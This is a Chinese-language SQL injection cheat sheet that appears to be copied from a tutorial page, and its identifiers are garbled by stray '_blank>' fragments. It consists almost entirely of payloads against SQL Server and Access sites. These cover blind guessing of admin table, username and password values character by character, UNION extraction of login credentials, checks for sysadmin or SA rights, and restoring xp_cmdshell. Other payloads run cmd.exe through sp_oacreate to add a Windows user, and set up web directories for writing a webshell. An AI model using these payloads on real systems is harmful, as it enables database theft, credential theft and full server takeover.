1.判断有无注入点
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
group by users.id having 1=1--
group by users.id, users.username, users.password, users.privs having 1=1--
; insert into users values( 666, attacker, foobar, 0xffff )--
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS
WHERE TABLE_blank>_NAME=logintable-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS
WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank
>_id)-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS
WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank
>_id,login_blank>_name)-
UNION SELECT TOP 1 login_blank>_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--
看_blank>服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--
看_blank>数据库连接账号的权限，返回正常，证明是_blank>服务器角色sysadmin权限。
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--
判断连接_blank>数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA）
and sa=(SELECT System_blank>_user)--
and user_blank>_name()=dbo--
and 0<>(select user_blank>_name()--
看xp_blank>_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_
blank>_cmdshell)--
xp_blank>_cmdshell被删除，恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\
xplog70.dll--
反向PING自己实验
;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>
_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帐号
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>
_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$Content$nbsp;1866574 /add--
创建一个虚拟目录E盘：
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o,
run, NULL, cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e：\"--
访问属性：（配合写入一个webshell）
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o,
run, NULL, cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
爆库 特殊_blank>技巧：:%5c=\ 或者
您正在看的SQLserver教程是:sql注入语句。把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)--
得到库名（从1到5都是系统的id，6以上才可以判断）
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin))
来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个
字段,假设为 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(s
tr(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用)
